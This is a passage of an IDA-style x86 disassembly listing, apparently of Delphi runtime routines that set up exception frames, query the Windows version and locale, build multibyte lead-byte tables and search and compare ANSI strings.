		call	sub_40004884
		lea	eax, [ebp+var_154]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B643:				; DATA XREF: sub_4000B488+2Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B61F
; ---------------------------------------------------------------------------


loc_4000B64A:				; CODE XREF: sub_4000B488+1BAj
					; DATA XREF: sub_4000B488+192o
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000B488	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B654	proc near		; CODE XREF: sub_400040D8+33p
					; .text:40004498p
					; DATA XREF: ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B70D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000B3F0
		movzx	eax, al
		mov	edx, eax
		add	edx, 0FFFFFFFDh
		sub	edx, 8
		jb	short loc_4000B68E
		jz	short loc_4000B6A5
		dec	edx
		sub	edx, 0Ah
		jnb	short loc_4000B6B0


loc_4000B68E:				; CODE XREF: sub_4000B654+30j
		lea	eax, dword_4001A93C[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4000B030
		mov	ebx, eax
		jmp	short loc_4000B6E0
; ---------------------------------------------------------------------------


loc_4000B6A5:				; CODE XREF: sub_4000B654+32j
		push	ebp
		call	sub_4000B488
		pop	ecx
		mov	ebx, eax
		jmp	short loc_4000B6E0
; ---------------------------------------------------------------------------


loc_4000B6B0:				; CODE XREF: sub_4000B654+38j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		lea	edx, [ebp+var_10]
		mov	eax, off_4001AEE0
		call	sub_400062F0
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, ds:off_40006FB0
		call	sub_4000B06C
		mov	ebx, eax


loc_4000B6E0:				; CODE XREF: sub_4000B654+4Fj
					; sub_4000B654+5Aj
		mov	eax, ebx
		mov	edx, ds:off_40006F58
		call	sub_40003E74
		test	al, al
		jz	short loc_4000B6F7
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax


loc_4000B6F7:				; CODE XREF: sub_4000B654+9Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B714


loc_4000B704:				; CODE XREF: sub_4000B654+BEj
		lea	eax, [ebp+var_10]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B70D:				; DATA XREF: sub_4000B654+12o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B704
; ---------------------------------------------------------------------------


loc_4000B714:				; CODE XREF: sub_4000B654+B8j
					; DATA XREF: sub_4000B654+ABo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000B654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4000B71C	proc near		; CODE XREF: .text:400044B4p
					; DATA XREF: sub_4000B72C+3Eo ...
		call	sub_4000AF68
		mov	eax, 1
		call	sub_4000486C
sub_4000B71C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000B72C	proc near		; CODE XREF: sub_400190AC:loc_400190F2p
		mov	ecx, off_4001AF2C
		mov	dl, 1
		mov	eax, ds:off_40006EA4
		call	sub_4000B0EC
		mov	ds:dword_4001E91C, eax
		mov	ecx, off_4001AFFC
		mov	dl, 1
		mov	eax, ds:off_4000732C
		call	sub_4000B0EC
		mov	ds:dword_4001E920, eax
		mov	eax, off_4001AEEC
		mov	dword ptr [eax], offset	sub_4000B2B0
		mov	eax, off_4001AF5C
		mov	dword ptr [eax], offset	sub_4000B71C
		mov	eax, off_4001AF1C
		mov	edx, ds:off_40006DE0
		mov	[eax], edx
		mov	eax, off_4001AF54
		mov	dword ptr [eax], offset	sub_4000B470
		mov	eax, off_4001AF60
		mov	dword ptr [eax], offset	sub_4000B654
		mov	eax, offset sub_4000B3BC
		mov	edx, off_4001B00C
		mov	[edx], eax
		mov	eax, offset sub_4000B3D8
		mov	edx, off_4001AEDC
		mov	[edx], eax
		retn
sub_4000B72C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B7B0	proc near		; CODE XREF: sub_4000CC50+36p
		cmp	ds:dword_4001E91C, 0
		jz	short loc_4000B7D3
		mov	eax, ds:dword_4001E91C
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_4001E91C
		mov	edx, [eax]
		call	dword ptr [edx-8]
		xor	eax, eax
		mov	ds:dword_4001E91C, eax


loc_4000B7D3:				; CODE XREF: sub_4000B7B0+7j
		cmp	ds:dword_4001E920, 0
		jz	short loc_4000B7F6
		mov	eax, ds:dword_4001E920
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_4001E920
		call	sub_40003CE8
		xor	eax, eax
		mov	ds:dword_4001E920, eax


loc_4000B7F6:				; CODE XREF: sub_4000B7B0+2Aj
		mov	eax, off_4001AEEC
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF5C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF1C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF54
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF60
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001B00C
		xor	edx, edx
		mov	[eax], edx
		retn
sub_4000B7B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B830	proc near		; CODE XREF: sub_400190AC+55p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h

		add	esp, 0FFFFFF6Ch
		mov	[esp+94h+var_94], 94h
		push	esp
		call	sub_400065D8	; GetVersionExA
		test	eax, eax
		jz	short loc_4000B897
		mov	eax, [esp+94h+var_84]
		mov	dword_4001A7E4,	eax
		mov	eax, [esp+94h+var_90]
		mov	dword_4001A7E8,	eax
		mov	eax, [esp+94h+var_8C]
		mov	dword_4001A7EC,	eax
		cmp	dword_4001A7E4,	1
		jnz	short loc_4000B87B
		mov	eax, [esp+94h+var_88]
		and	eax, 0FFFFh
		mov	dword_4001A7F0,	eax
		jmp	short loc_4000B884
; ---------------------------------------------------------------------------


loc_4000B87B:				; CODE XREF: sub_4000B830+39j
		mov	eax, [esp+94h+var_88]
		mov	dword_4001A7F0,	eax


loc_4000B884:				; CODE XREF: sub_4000B830+49j
		mov	eax, offset dword_4001A7F4
		lea	edx, [esp+94h+var_80]
		mov	ecx, 80h
		call	sub_40004AF4


loc_4000B897:				; CODE XREF: sub_4000B830+15j
		add	esp, 94h
		retn
sub_4000B830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B8A0	proc near		; CODE XREF: sub_4000B914+1Bp
					; sub_4000B938+Bp
		push	esi
		push	edi
		mov	edi, edx
		xor	edx, edx
		test	eax, eax
		jz	short loc_4000B90C
		cmp	byte ptr [eax+edi], 0
		jz	short loc_4000B90C
		test	edi, edi
		jnz	short loc_4000B8C7
		movzx	eax, byte ptr [eax]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000B90C
		mov	dl, 1
		jmp	short loc_4000B90C
; ---------------------------------------------------------------------------


loc_4000B8C7:				; CODE XREF: sub_4000B8A0+12j
		mov	esi, edi
		dec	esi
		jmp	short loc_4000B8CD
; ---------------------------------------------------------------------------


loc_4000B8CC:				; CODE XREF: sub_4000B8A0+3Fj
		dec	esi


loc_4000B8CD:				; CODE XREF: sub_4000B8A0+2Aj
		test	esi, esi
		jl	short loc_4000B8E1
		movzx	ecx, byte ptr [eax+esi]
		movzx	ecx, cl
		bt	dword_4001A82C,	ecx
		jb	short loc_4000B8CC


loc_4000B8E1:				; CODE XREF: sub_4000B8A0+2Fj
		mov	ecx, edi
		sub	ecx, esi
		and	ecx, 80000001h
		jns	short loc_4000B8F2
		dec	ecx
		or	ecx, 0FFFFFFFEh
		inc	ecx


loc_4000B8F2:				; CODE XREF: sub_4000B8A0+4Bj
		test	ecx, ecx
		jnz	short loc_4000B8FA
		mov	dl, 2
		jmp	short loc_4000B90C
; ---------------------------------------------------------------------------


loc_4000B8FA:				; CODE XREF: sub_4000B8A0+54j
		movzx	eax, byte ptr [eax+edi]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000B90C
		mov	dl, 1


loc_4000B90C:				; CODE XREF: sub_4000B8A0+8j
					; sub_4000B8A0+Ej ...
		mov	eax, edx
		pop	edi
		pop	esi
		retn
sub_4000B8A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B914	proc near		; CODE XREF: sub_40008028+1Cp
					; sub_4000805C+3Cp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000B934
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esi
		dec	edx
		call	sub_4000B8A0


loc_4000B934:				; CODE XREF: sub_4000B914+Fj
		pop	esi
		pop	ebx
		retn
sub_4000B914	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B938	proc near		; CODE XREF: sub_4000828C+1Bp
					; sub_4000BC30+4Ap ...
		xor	ecx, ecx
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000B94A
		call	sub_4000B8A0
		mov	ecx, eax


loc_4000B94A:				; CODE XREF: sub_4000B938+9j
		mov	eax, ecx
		retn
sub_4000B938	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B950	proc near		; CODE XREF: sub_40009414+F8p
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		test	ecx, ecx
		jz	short loc_4000B95E
		sub	ecx, 4
		mov	ecx, [ecx]


loc_4000B95E:				; CODE XREF: sub_4000B950+7j
		cmp	edx, ecx
		jle	short loc_4000B96D
		mov	edx, ebx
		test	edx, edx
		jz	short loc_4000B96D
		sub	edx, 4
		mov	edx, [edx]


loc_4000B96D:				; CODE XREF: sub_4000B950+10j
					; sub_4000B950+16j
		call	sub_4000B974
		pop	ebx
		retn
sub_4000B950	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B974	proc near		; CODE XREF: sub_4000B950:loc_4000B96Dp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		xor	esi, esi
		test	ebp, ebp
		jg	short loc_4000B986
		mov	al, 1
		jmp	short loc_4000B996
; ---------------------------------------------------------------------------


loc_4000B986:				; CODE XREF: sub_4000B974+Cj
		mov	eax, edi
		test	eax, eax
		jz	short loc_4000B991
		sub	eax, 4
		mov	eax, [eax]


loc_4000B991:				; CODE XREF: sub_4000B974+16j
		cmp	eax, ebp
		setl	al


loc_4000B996:				; CODE XREF: sub_4000B974+10j
		test	al, al
		jnz	short loc_4000B9D4
		mov	esi, ebp
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000B9D4
		mov	ebx, 1
		xor	esi, esi
		cmp	ebp, ebx
		jl	short loc_4000B9D4


loc_4000B9B0:				; CODE XREF: sub_4000B974+5Ej
		movzx	eax, byte ptr [edi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000B9CE
		mov	edx, ebx
		mov	eax, edi
		call	sub_4000BBC0
		mov	ebx, eax
		jmp	short loc_4000B9CF
; ---------------------------------------------------------------------------


loc_4000B9CE:				; CODE XREF: sub_4000B974+4Bj
		inc	ebx


loc_4000B9CF:				; CODE XREF: sub_4000B974+58j
		inc	esi
		cmp	ebp, ebx
		jge	short loc_4000B9B0


loc_4000B9D4:				; CODE XREF: sub_4000B974+24j
					; sub_4000B974+2Fj ...
		mov	eax, esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000B974	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B9DC	proc near		; CODE XREF: sub_4000BA6C+45p
					; sub_4000BAF0+3Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	eax, edi
		test	eax, eax
		jz	short loc_4000B9F8
		sub	eax, 4
		mov	eax, [eax]


loc_4000B9F8:				; CODE XREF: sub_4000B9DC+15j
		mov	[ebp+var_C], eax
		mov	esi, 1
		mov	ebx, 1
		jmp	short loc_4000BA27
; ---------------------------------------------------------------------------


loc_4000BA07:				; CODE XREF: sub_4000B9DC+53j
		inc	esi
		movzx	eax, byte ptr [edi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000BA26
		mov	edx, ebx
		mov	eax, edi
		call	sub_4000BBC0
		mov	ebx, eax
		jmp	short loc_4000BA27
; ---------------------------------------------------------------------------


loc_4000BA26:				; CODE XREF: sub_4000B9DC+3Bj
		inc	ebx


loc_4000BA27:				; CODE XREF: sub_4000B9DC+29j
					; sub_4000B9DC+48j
		cmp	ebx, [ebp+var_C]
		jge	short loc_4000BA31
		cmp	esi, [ebp+var_4]
		jl	short loc_4000BA07


loc_4000BA31:				; CODE XREF: sub_4000B9DC+4Ej
		cmp	esi, [ebp+var_4]
		jnz	short loc_4000BA58
		cmp	ebx, [ebp+var_C]
		jge	short loc_4000BA58
		movzx	eax, byte ptr [edi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000BA58
		mov	edx, ebx
		mov	eax, edi
		call	sub_4000BBC0
		dec	eax
		mov	ebx, eax


loc_4000BA58:				; CODE XREF: sub_4000B9DC+58j
					; sub_4000B9DC+5Dj ...
		mov	eax, [ebp+var_8]
		mov	[eax], esi
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000B9DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000BA6C	proc near		; CODE XREF: sub_40009414+109p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF8h
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esp+14h+var_14], eax
		test	ebx, ebx
		jg	short loc_4000BA83
		mov	al, 1
		jmp	short loc_4000BA93
; ---------------------------------------------------------------------------


loc_4000BA83:				; CODE XREF: sub_4000BA6C+11j
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BA8E
		sub	eax, 4
		mov	eax, [eax]


loc_4000BA8E:				; CODE XREF: sub_4000BA6C+1Bj
		cmp	eax, ebx
		setl	al


loc_4000BA93:				; CODE XREF: sub_4000BA6C+15j
		test	al, al
		jnz	short loc_4000BAE4
		cmp	ebx, 1
		jle	short loc_4000BAE1
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BAE1
		push	esp
		lea	ecx, [esp+18h+var_10]
		mov	edi, ebx
		dec	edi
		mov	edx, edi
		mov	eax, esi
		call	sub_4000B9DC
		cmp	edi, [esp+14h+var_10]
		jle	short loc_4000BAC0
		mov	al, 1
		jmp	short loc_4000BAD1
; ---------------------------------------------------------------------------


loc_4000BAC0:				; CODE XREF: sub_4000BA6C+4Ej
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BACB
		sub	eax, 4
		mov	eax, [eax]


loc_4000BACB:				; CODE XREF: sub_4000BA6C+58j
		cmp	eax, [esp+14h+var_14]
		setle	al


loc_4000BAD1:				; CODE XREF: sub_4000BA6C+52j
		test	al, al
		jz	short loc_4000BADC
		xor	eax, eax
		mov	[esp+14h+var_14], eax
		jmp	short loc_4000BAE4
; ---------------------------------------------------------------------------


loc_4000BADC:				; CODE XREF: sub_4000BA6C+67j
		inc	[esp+14h+var_14]
		jmp	short loc_4000BAE4
; ---------------------------------------------------------------------------


loc_4000BAE1:				; CODE XREF: sub_4000BA6C+2Ej
					; sub_4000BA6C+37j
		mov	[esp+14h+var_14], ebx


loc_4000BAE4:				; CODE XREF: sub_4000BA6C+29j
					; sub_4000BA6C+6Ej ...
		mov	eax, [esp+14h+var_14]
		pop	ecx
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BA6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BAF0	proc near		; CODE XREF: sub_40009414+BFp
					; sub_40009414+131p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		test	edx, edx
		jle	short loc_4000BB56
		mov	esi, ebx
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB0D
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB0D:				; CODE XREF: sub_4000BAF0+16j
		cmp	eax, edx
		jge	short loc_4000BB1E
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB1C
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB1C:				; CODE XREF: sub_4000BAF0+25j
		mov	edx, eax


loc_4000BB1E:				; CODE XREF: sub_4000BAF0+1Fj
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BB53
		push	esp
		lea	ecx, [esp+14h+var_C]
		mov	eax, ebx
		call	sub_4000B9DC
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB3E
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB3E:				; CODE XREF: sub_4000BAF0+47j
		cmp	eax, [esp+10h+var_10]
		jge	short loc_4000BB56
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB4E
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB4E:				; CODE XREF: sub_4000BAF0+57j
		mov	[esp+10h+var_10], eax
		jmp	short loc_4000BB56
; ---------------------------------------------------------------------------


loc_4000BB53:				; CODE XREF: sub_4000BAF0+35j
		mov	[esp+10h+var_10], edx


loc_4000BB56:				; CODE XREF: sub_4000BAF0+Ej
					; sub_4000BAF0+51j ...
		mov	eax, [esp+10h+var_10]
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000BAF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BB60	proc near		; CODE XREF: sub_400096A8+7Ap
					; sub_4000BB88+2Fp ...
		push	ebx
		mov	ebx, eax
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BB76
		push	ebx
		call	sub_40006708	; CharNextA
		sub	eax, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4000BB76:				; CODE XREF: sub_4000BB60+Aj
		mov	eax, 1
		pop	ebx
		retn
sub_4000BB60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BB80	proc near		; CODE XREF: sub_400096A8+8Bp
					; sub_400096A8+9Dp ...
		push	eax
		call	sub_40006708	; CharNextA
		retn
sub_4000BB80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000BB88	proc near		; CODE XREF: sub_4000ABA4+D2p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, 1
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BBBC
		movzx	edx, byte ptr [ebx+esi-1]
		movzx	edx, dl
		bt	dword_4001A82C,	edx
		jnb	short loc_4000BBBC
		mov	eax, ebx
		call	sub_40004D48
		add	eax, esi
		dec	eax
		call	sub_4000BB60


loc_4000BBBC:				; CODE XREF: sub_4000BB88+12j
					; sub_4000BB88+23j
		pop	esi
		pop	ebx
		retn
sub_4000BB88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BBC0	proc near		; CODE XREF: sub_4000A0D4+1Fp
					; sub_4000B974+51p ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		lea	eax, [ebx+1]
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BBF4
		movzx	edx, byte ptr [esi+ebx-1]
		movzx	edx, dl
		bt	dword_4001A82C,	edx
		jnb	short loc_4000BBF4
		mov	eax, esi
		call	sub_40004D48
		add	eax, ebx
		dec	eax
		call	sub_4000BB60
		add	eax, ebx


loc_4000BBF4:				; CODE XREF: sub_4000BBC0+10j
					; sub_4000BBC0+21j
		pop	esi
		pop	ebx
		retn
sub_4000BBC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000BBF8	proc near		; CODE XREF: sub_4000A1CC+9Dp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		xor	edi, edi
		mov	eax, ebx
		call	sub_40004D48
		push	eax
		mov	eax, esi
		call	sub_40004D48
		mov	ebp, eax
		mov	eax, ebp
		pop	edx
		call	sub_4000BC30
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000BC26
		mov	edi, ebx
		sub	edi, ebp
		inc	edi


loc_4000BC26:				; CODE XREF: sub_4000BBF8+27j
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BBF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BC30	proc near		; CODE XREF: sub_4000A11C+30p
					; sub_4000BBF8+1Ep

var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebp, edx
		mov	esi, eax
		xor	ebx, ebx
		test	esi, esi
		jz	loc_4000BCC6
		cmp	byte ptr [esi],	0
		jz	short loc_4000BCC6
		test	ebp, ebp
		jz	short loc_4000BCC6
		cmp	byte ptr [ebp+0], 0
		jz	short loc_4000BCC6
		mov	eax, esi
		call	sub_4000815C
		mov	[esp+18h+var_18], eax
		mov	eax, ebp
		call	sub_4000815C
		mov	edi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_40008238
		mov	ebx, eax
		jmp	short loc_4000BCB3
; ---------------------------------------------------------------------------


loc_4000BC74:				; CODE XREF: sub_4000BC30+92j
		mov	edx, ebx
		sub	edx, esi
		mov	eax, esi
		call	sub_4000B938
		mov	[esp+18h+var_14], al
		cmp	[esp+18h+var_14], 2
		jz	short loc_4000BC9F
		push	edi
		push	ebp
		push	edi
		push	ebx
		push	0
		push	400h
		call	sub_400064F8	; CompareStringA
		cmp	eax, 2
		jz	short loc_4000BCC6


loc_4000BC9F:				; CODE XREF: sub_4000BC30+58j
		cmp	[esp+18h+var_14], 1
		jnz	short loc_4000BCA7
		inc	ebx


loc_4000BCA7:				; CODE XREF: sub_4000BC30+74j
		inc	ebx
		mov	edx, ebp
		mov	eax, ebx
		call	sub_40008238
		mov	ebx, eax


loc_4000BCB3:				; CODE XREF: sub_4000BC30+42j
		test	ebx, ebx
		jz	short loc_4000BCC4
		mov	eax, ebx
		sub	eax, esi
		mov	edx, [esp+18h+var_18]
		sub	edx, eax
		cmp	edi, edx
		jbe	short loc_4000BC74


loc_4000BCC4:				; CODE XREF: sub_4000BC30+85j
		xor	ebx, ebx


loc_4000BCC6:				; CODE XREF: sub_4000BC30+Fj
					; sub_4000BC30+18j ...
		mov	eax, ebx
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BC30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BCD0	proc near		; CODE XREF: sub_4000ADE0+7Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000BD04
		mov	esi, eax
		mov	edi, esi
		test	bl, bl
		jz	short loc_4000BCFE
		test	esi, esi
		jz	short loc_4000BCFE


loc_4000BCEC:				; CODE XREF: sub_4000BCD0+2Cj
		mov	edi, esi
		inc	esi
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000BD04
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4000BCEC


loc_4000BCFE:				; CODE XREF: sub_4000BCD0+16j
					; sub_4000BCD0+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BCD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000BD04	proc near		; CODE XREF: sub_4000BCD0+Bp
					; sub_4000BCD0+23p
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_40008224
		mov	edi, eax
		test	edi, edi
		jz	short loc_4000BD3E


loc_4000BD1A:				; CODE XREF: sub_4000BD04+38j
		mov	edx, edi
		sub	edx, esi
		mov	eax, esi
		call	sub_4000B938
		sub	al, 1
		jb	short loc_4000BD3E
		jz	short loc_4000BD2D
		jmp	short loc_4000BD2E
; ---------------------------------------------------------------------------


loc_4000BD2D:				; CODE XREF: sub_4000BD04+25j
		inc	edi


loc_4000BD2E:				; CODE XREF: sub_4000BD04+27j
		inc	edi
		mov	edx, ebx
		mov	eax, edi
		call	sub_40008224
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4000BD1A


loc_4000BD3E:				; CODE XREF: sub_4000BD04+14j
					; sub_4000BD04+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BD04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000BD44	proc near		; CODE XREF: sub_4000BDA0+96p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		add	edi, 0FFFFFFECh
		push	edi
		push	0
		call	sub_40006558	; GetCPInfo
		xor	esi, esi
		jmp	short loc_4000BD87
; ---------------------------------------------------------------------------


loc_4000BD5D:				; CODE XREF: sub_4000BD44+51j
		movzx	eax, byte ptr [edi+esi+6]
		movzx	ebx, byte ptr [edi+esi+7]
		sub	bl, al
		jb	short loc_4000BD84
		inc	ebx
		mov	[ebp+var_1], al


loc_4000BD6F:				; CODE XREF: sub_4000BD44+3Ej
		movzx	eax, [ebp+var_1]
		movzx	eax, al
		bts	dword_4001A82C,	eax
		inc	[ebp+var_1]
		dec	bl
		jnz	short loc_4000BD6F


loc_4000BD84:				; CODE XREF: sub_4000BD44+25j
		add	esi, 2


loc_4000BD87:				; CODE XREF: sub_4000BD44+17j
		cmp	esi, 0Ch
		jge	short loc_4000BD97
		movzx	eax, byte ptr [edi+esi+6]
		or	al, [edi+esi+7]
		jnz	short loc_4000BD5D


loc_4000BD97:				; CODE XREF: sub_4000BD44+46j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000BD44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000BDA0	proc near		; CODE XREF: sub_4000BE64+1Ep
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_4001E8C8
		mov	dword ptr [esi], 409h
		mov	dword ptr [esi+4], 9
		mov	dword ptr [esi+8], 1
		call	sub_400065C8	; GetThreadLocale
		test	eax, eax
		jz	short loc_4000BDCD
		mov	[esi], eax


loc_4000BDCD:				; CODE XREF: sub_4000BDA0+29j
		test	ax, ax
		jz	short loc_4000BDE8
		mov	edx, eax
		and	dx, 3FFh
		movzx	edx, dx
		mov	[esi+4], edx
		movzx	eax, ax
		shr	eax, 0Ah
		mov	[esi+8], eax


loc_4000BDE8:				; CODE XREF: sub_4000BDA0+30j
		push	esi
		mov	esi, offset dword_4000BE44
		mov	edi, offset dword_4001A82C
		mov	ecx, 8
		rep movsd
		pop	esi
		cmp	dword_4001A7E8,	4
		jle	short loc_4000BE13
		cmp	dword_4001A7E4,	2
		jnz	short loc_4000BE13
		mov	byte ptr [esi+0Dh], 1
		jmp	short loc_4000BE22
; ---------------------------------------------------------------------------


loc_4000BE13:				; CODE XREF: sub_4000BDA0+62j
					; sub_4000BDA0+6Bj
		push	4Ah
		call	sub_40006728	; GetSystemMetrics
		test	eax, eax
		setnz	al
		mov	[esi+0Dh], al


loc_4000BE22:				; CODE XREF: sub_4000BDA0+71j
		push	2Ah
		call	sub_40006728	; GetSystemMetrics
		test	eax, eax
		setnz	bl
		mov	[esi+0Ch], bl
		test	bl, bl
		jz	short loc_4000BE3C
		push	ebp
		call	sub_4000BD44
		pop	ecx
